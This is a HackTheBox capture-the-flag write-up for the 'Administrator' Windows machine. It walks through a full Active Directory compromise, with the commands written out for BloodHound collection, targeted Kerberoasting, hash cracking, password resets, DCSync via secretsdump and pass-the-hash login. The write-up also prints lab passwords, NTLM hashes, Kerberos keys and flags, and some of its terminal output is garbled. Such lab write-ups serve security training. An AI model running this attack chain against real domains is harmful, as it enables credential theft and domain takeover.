

LAB REPORT

HackTheBox - Administrator



Machine Card Info

Difficulty: Medium

Release Date: 2024-11-09

Points: 30

Operating System: Windows



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HTB User : **baptist3**

1 Presentation

1.1 Rules

Hack The Box provides a platform for cybersecurity enthusiasts to develop technical skills through simulated systems. Following ethical and fair conduct rules is crucial to ensure a positive experience for the whole community. Here are the main rules to observe during CTFs on Hack The Box.

No Attacking Infrastructure Outside of Labs

All penetration testing and intrusion activities must be limited to the machines and environments provided by Hack The Box. Any attempt to access external infrastructure is strictly prohibited and can result in severe penalties, including a platform ban.

No Solution Disclosure

Solution discovery is part of the learning process. Sharing solutions, flags, or specific techniques in public forums, on social media, or even privately with other members without their consent is prohibited. It deprives other participants of the learning experience.

Confidentiality of Flags

Flags are the objectives of each challenge, and each player should obtain them independently. Sharing flags or distributing them in raw or coded forms is against the rules and can lead to disqualification.

Use of Personal Scripts and Tools with Caution

Participants may use open-source tools or personal scripts to complete challenges, but scripts that compromise machine stability are prohibited. For example, Denial of Service (DoS) attacks are strictly banned as they degrade other users' experience.

Respect the Community

Hack The Box encourages a collaborative atmosphere where participants can support one another within the rules. Harassment, intimidation, or disrespectful behavior toward other community members is prohibited. Discussions should remain courteous and constructive, even in cases of disagreement.

Report Platform Bugs and Vulnerabilities

If a participant discovers a bug or vulnerability within the Hack The Box platform itself, they should report it to administrators immediately. Exploiting any flaw in the HTB infrastructure for advantage or to cause disruptions is strictly forbidden.

Forum Use and Spoilers

HTB forums and discussion sections are there to help users progress, but spoilers (revealing elements that give away direct answers or overly specific hints) should be avoided. Discussions should be about sharing general methods without compromising the challenge for other participants.

Respect Copyright

Using protected content without permission, including tools, scripts, or solutions written by others without their consent, can lead to disciplinary actions.



1.2 Netailed description

Initial credentials were used with BloodHound to enumerate the Active Directory environment. A Targeted Kerberoasting attack yielded the hash of another user. Password reset privileges were then exploited to modify the password of a user with access to an FTP server, where a backup file containing sensitive passwords was discovered. These credentials facilitated a pivot to a new account. Another Targeted Kerberoasting attack provided access to a user with privileges allowing a DCSync attack, ultimately leading to the extraction of domain secrets and Administrator access.

The scope of this pentest included:

IP Victim: 10.10.11.42IP Attacker: 10.10.14.6

Moreover,

As is common in real life Windows pentests, you will start the Administrator box with credentials for the following account: Olivia / ichliebedich

2 Final Report

2.1 P Enumeration

As always, start with a port scan. Use rustscan to discover open ports:

```
PORT
          STATE SERVICE
                              REASON
21/tcp
       open ftp
                             syn-ack ttl 127 Microsoft ftpd
| ftp-syst:
|_ SYST: Windows_NT
53/tcp open domain syn-ack ttl 127 Simple DNS Plus
88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time:
2024-11-16 17:37:16Z)
                       syn-ack ttl 127 Microsoft Windows RPC
135/tcp open msrpc
139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: administrator.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds? syn-ack ttl 127
464/tcp open kpasswd5? syn-ack ttl 127
593/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
3268/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP
(Domain: administrator.htb0., Site: Default-First-Site-Name)
5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf syn-ack ttl 127 .NET Message Framing
```

Note: Some parts were cut to reduce output size.

CLI Command Used: rustscan -a 10.10.11.42 -r 1-65535 -- -A -oN nmap.txt

It looks like an Active Directory box. Because we already have some credentials, we will use BloodHound to enumerate. It will be more efficient.




Use NetExec tool to dump AD content with SharpHound:

nxc ldap administrator.htb -d administrator.htb -u Olivia -p ichliebedich --dns-server 10.10.11.42 --bloodhound -c All -d ADMINISTRATOR.HTB


Wait a few moment and a zip file will be created. Start Neo4j with neo4j start and BloodHound.

Note: We will skip the setup part.

Upload the zip file:




Go to Weak ACLs section:





It seems that **Olivia** can escalate to michael user thanks to **Targeted Kerberoast** attack. Right click on the link then help to show the command:



Return to our terminal and use this command:

```
targetedKerberoast.py -v -d 'administrator.htb' -u 'Olivia' -p 'ichliebedich'
```

We have the following error: KRB_AP_ERR_SKEW(Clock skew too great).


The difference between the time on the Kerberos or Active Directory Domain Controller and the AM server is too great.

You can use faketime command to patch this:

```
faketime "$(rdate -n 10.10.11.42 -p | awk '{print $2, $3, $4}' | date -f - "+%Y-%m-%d %H: %M:%S")" zsh
```

Note: I used Exegol for this CTF. Technique may be different on Kali Linux.

Now, we can retry:





We have a hash for user michael!

Save it into a file then use JohnTheRipper to crack the hash:

```
[Nov 17, 2024 - 04:24:04 (CET)] exegol-hackthebox Administrator # john hash --wordlist=/opt/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS-REP etype 23 [MD4 HMAC-MD5 RC4])
Will run 12 OpenMP threads
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
pass123456 (?)
1g 0:00:00:00 DONE (2024-11-17 04:24) 4.167g/s 1996Kp/s 1996Kc/s 1996KC/s
piyanart..onlyme07
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

We have new credentials: michael:pass123456.

2.2 **Solution** Foothold

Return to BloodHound, and we can see that **michael** can change **benjamin**'s password:



Look for the command with help menu:

```
net rpc password "benjamin" "exegol4thewin" -U "ADMINISTRATOR"/"michael"%"pass123456" -S "A DMINISTRATOR.HTB"
```

Connect with SMB to check:



It works!

Don't forget that there is a FTP service running. Try to login as **benjamin**:

```
[Nov 17, 2024 - 04:29:48 (CET)] exegol-hackthebox Administrator # ftp administrator.htb
Connected to administrator.htb.
220 Microsoft FTP Service
Name (administrator.htb:root): benjamin
331 Password required
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> ls
229 Entering Extended Passive Mode (|||55583|)
125 Data connection already open; Transfer starting.
10-05-24 08:13AM 952 Backup.psafe3
226 Transfer complete.
ftp>
```

There is a backup file. Download it and go back to our terminal. Use the file command to know more about the filetype:

```
Backup.psafe3: Password Safe V3 database
```

We can't read its content directly, so it seems to be password protected.

2.3 **User Escalation**

Password Safe is a password manager like KeePass, so we need to crack the master password. Thanks to JohnTheRipper, we can use pwsafe2john:

```
pwsafe2john.py Backup.psafe3 > backup_hash
```

Then crack the hash with:

```
john backup_hash --wordlist=/opt/rockyou.txt
```

The password is: tekieromucho.

Install PwSafe:


```
sudo dpkg -i passwordsafe-debian12-1.20-amd64.deb
```

You may have some dependencies problems. If yes, use:

```
sudo apt --fix-broken install
```



Open the backup file and enter the password:




We have 3 new passwords:

- alexander:UrkIbagoxMyUGw0aPlj9B0AXSea4Sw
- emily:UXLCI5iETUsIBoFVTj8yQFKoHjXmb
- emma: WwANQWnmJnGV07WQN8bMS7FMAbjNur

Try to connect through WinRM. Only emily will work:




Remember the BloodHound map with Weak ACLs:



Like the first user escalation (from Olivia to michael), we can re-exploit Targeted Kerberoast attack:


```
targetedKerberoast.py -v -d 'administrator.htb' -u 'emily' -p 'UXLCI5iETUsIBoFVTj8yQFKoHjXm
b'
```





Use JohnTheRipper to crack the hash and we find this password for user **ethan**: limpbizkit.

Go back to BloodHound and click on Find Shortest Paths to Domain Admins :



We can see that **ethan** user will allow us to escalate our priviliges thanks to a DCSync attack.

Use secretsDump.py script:

```
secretsdump.py 'ADMINISTRATOR'/'ethan':'limpbizkit'@'administrator.htb'
```

```
1 exegol-hackthebox Administrator #
Impacket v0.13.0.dev0+20240918.213844.ac790f2b - Copyright Fortra, LLC and its affiliated companies
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
.
*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:3dc553ce4b9fd20bd016e098d2d2fd2e:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
.
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:1181ba47d45fa2c76385a82409cbfaf6:
odministrator.htb\olivia:1108:aad3b435b51404eeaad3b435b51404ee:fbaa3e2294376dc0f5aeb6b41ffa52b7:::
administrator.htb\michael:1109:aad3b435b51404eeaad3b435b51404ee:13df9e9b478295087b8c76a862784de2:::
administrator.htb\benjamin:1110:aad3b435b51404eeaad3b435b51404ee:e1f0c2a2f3aa227d6f33c7e5e801e436:::
administrator.htb\emily:1112:aad3b435b51404eeaad3b435b51404ee:eb200a2583a88ace2983ee5caa520f31:
administrator.htb\ethan:1113:aad3b435b51404eeaad3b435b51404ee:5c2b9f97e0620c3d307de85a93179884:
administrator.htb\alexander:3601:aad3b435b51404eeaad3b435b51404ee:cdc9e5f3b0631aa3600e0bfec00a0199:::
administrator.htb\emma:3602:aad3b435b51404eeaad3b435b51404ee:11ecd72c969a57c34c819b41b54455c9::
DC$:1000:aad3b435b51404eeaad3b435b51404ee:cf411ddad4807b5b4a275d31caa1d4b3::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:9d453509ca9b7bec02ea8c2161d2d340fd94bf30cc7e52cb94853a04e9e69664
Administrator:aes128-cts-hmac-sha1-96:08b0633a8dd5f1d6cbea29014caea5a2
Administrator:des-cbc-md5:403286f7cdf18385
krbtgt:aes256-cts-hmac-sha1-96:920ce354811a517c703a217ddca0175411d4a3c0880c359b2fdc1a494fb13648
krbtgt:aes128-cts-hmac-sha1-96:aadb89e07c87bcaf9c540940fab4af94
krbtgt:des-cbc-md5:2c0bc7d0250dbfc7
administrator.htb\olivia:aes256-cts-hmac-sha1-96:713f215fa5cc408ee5ba000e178f9d8ac220d68d294b077cb03aecc5f4c4e4f3
administrator.htb\olivia:aes128-cts-hmac-sha1-96:3d15ec169119d785a0ca2997f5d2aa48
administrator.htb\olivia:des-cbc-md5:bc2a4a7929c198e9
administrator.htb\michael:aes256-cts-hmac-sha1-96:8a8d7d80948794e0af9323155ed6969df8eae234f6fe6d0aacf218238fe4a384
administrator.htb\michael:aes128-cts-hmac-sha1-96:605f31f9ad551997032f7e50dfe9e2a6
administrator.htb\michael:des-cbc-md5:b97fb0b06223c7b6
ıdministrator.htb\benjamin:aes256-cts-hmac-sha1-96:ab94f7f8a1288123cb3496b51821ead879d9c9321e49a447b4f8eae5d5a18413
administrator.htb\benjamin:aes128-cts-hmac-sha1-96:622638a0f66ab2da1ce2ad7cca1228f8
```



We have the **Administrator**'s hash, so we can access to **WinRM** with pass-the-hash attack:

```
evil-winrm -u "Administrator" -H '3dc553ce4b9fd20bd016e098d2d2fd2e' -i "10.10.11.42"
```

```
1/3 + + D G Tüb://usr/local/rom/gems/ruby-3.12@evil-winrm/wrappers/ruby-u-"Administrator" - Q E - D X

1/usr/local/rom/gems/ruby-3.12@evil-winrm/wrappers/ruby-u-"Administrator" - H

'3dc553ce4b9fd20bd016e098d2d2fd2e' -i "10.10.11.42"

India Despite Extend with PS C:\Users\Administrator\Documents> cd ...

India Despite PS C:\Users\Administrator\whoami
administrator\administrator\
India Despite PS C:\Users\Administrator>

India Despite PS C:\Users\Administrator>

India Despite PS C:\Users\Administrator>
```

We are logged as Administrator!



3 Flags & Conclusion

3.1 Flags

During this lab, the following flags were found:

user: ea63546100e8acc4dd4a3e3d5b22ae4froot: a33647f7827c6b7bca3922c895b79948

3.2 Conclusion

This box demonstrated the importance of securing Active Directory environments against enumeration tools like BloodHound and mitigating weaknesses such as improperly configured Kerberos delegation, exposed credentials in backups, and overly permissive user privileges. By chaining these vulnerabilities, it was possible to escalate step by step and ultimately compromise the domain controller. Strengthening password policies, limiting privilege escalation paths, and securing sensitive files are crucial to preventing similar attacks.